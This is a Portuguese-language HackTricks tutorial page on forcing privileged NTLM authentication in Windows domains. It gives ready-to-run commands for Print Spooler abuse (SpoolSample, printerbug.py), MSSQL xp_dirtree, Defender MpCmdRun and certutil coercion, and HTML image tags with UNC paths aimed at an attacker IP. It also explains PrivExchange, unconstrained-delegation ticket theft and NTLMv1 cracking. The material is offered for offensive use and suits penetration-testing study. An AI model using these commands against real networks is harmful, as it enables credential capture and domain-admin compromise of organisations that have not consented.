6.6 KiB
Forçar Autenticação Privilegiada NTLM
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
SharpSystemTriggers
SharpSystemTriggers é uma coleção de gatilhos de autenticação remota codificados em C# usando o compilador MIDL para evitar dependências de terceiros.
Abuso do Serviço Spooler
Se o serviço Print Spooler estiver habilitado, você pode usar algumas credenciais AD já conhecidas para solicitar ao servidor de impressão do Controlador de Domínio uma atualização sobre novos trabalhos de impressão e simplesmente dizer para enviar a notificação para algum sistema.
Observe que quando a impressora envia a notificação para sistemas arbitrários, ela precisa se autenticar contra esse sistema. Portanto, um atacante pode fazer com que o serviço Print Spooler se autentique contra um sistema arbitrário, e o serviço usará a conta do computador nessa autenticação.
Encontrando Servidores Windows no domínio
Usando o PowerShell, obtenha uma lista de máquinas Windows. Os servidores geralmente têm prioridade, então vamos focar neles:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Encontrando serviços Spooler ouvindo
Usando uma versão ligeiramente modificada do SpoolerScanner de @mysmartlogin (Vincent Le Toux), verifique se o Serviço Spooler está ouvindo:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Você também pode usar o rpcdump.py no Linux e procurar pelo Protocolo MS-RPRN.
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Solicitar que o serviço se autentique em um host arbitrário
Você pode compilar SpoolSample daqui.
SpoolSample.exe <TARGET> <RESPONDERIP>
ou use dementor.py de 3xocyte ou printerbug.py se estiver no Linux
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Combinando com Delegação Não Restrita
Se um atacante já comprometeu um computador com Delegação Não Restrita, o atacante poderia fazer a impressora autenticar-se neste computador. Devido à delegação não restrita, o TGT da conta de computador da impressora será salvo na memória do computador com delegação não restrita. Como o atacante já comprometeu este host, ele será capaz de recuperar este ticket e abusá-lo (Pass the Ticket).
Autenticação Forçada RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
PrivExchange
O ataque PrivExchange
é resultado de uma falha encontrada na funcionalidade de PushSubscription
do Exchange Server. Esta funcionalidade permite que o servidor Exchange seja forçado por qualquer usuário de domínio com uma caixa de correio a autenticar-se em qualquer host fornecido pelo cliente via HTTP.
Por padrão, o serviço Exchange é executado como SYSTEM e possui privilégios excessivos (especificamente, possui privilégios WriteDacl no domínio antes da Atualização Cumulativa de 2019). Essa falha pode ser explorada para permitir o encaminhamento de informações para o LDAP e, posteriormente, extrair o banco de dados NTDS do domínio. Em casos onde o encaminhamento para o LDAP não é possível, essa falha ainda pode ser usada para encaminhar e autenticar-se em outros hosts dentro do domínio. A exploração bem-sucedida deste ataque concede acesso imediato ao Administrador de Domínio com qualquer conta de usuário de domínio autenticada.
Dentro do Windows
Se você já estiver dentro da máquina Windows, você pode forçar o Windows a se conectar a um servidor usando contas privilegiadas com:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
Ou use esta outra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce
Certutil
É possível usar o lolbin certutil.exe (binário assinado pela Microsoft) para forçar a autenticação NTLM:
certutil.exe -syncwithWU \\127.0.0.1\share
Injeção de HTML
Via email
Se você conhece o endereço de e-mail do usuário que faz login em uma máquina que deseja comprometer, você pode simplesmente enviar a ele um e-mail com uma imagem 1x1 como:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
MitM
Se você conseguir realizar um ataque MitM a um computador e injetar HTML em uma página que ele visualizar, você pode tentar injetar uma imagem como a seguinte na página:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Quebrando o NTLMv1
Se você conseguir capturar desafios NTLMv1 leia aqui como quebrá-los.
Lembre-se de que, para quebrar o NTLMv1, você precisa definir o desafio do Responder como "1122334455667788"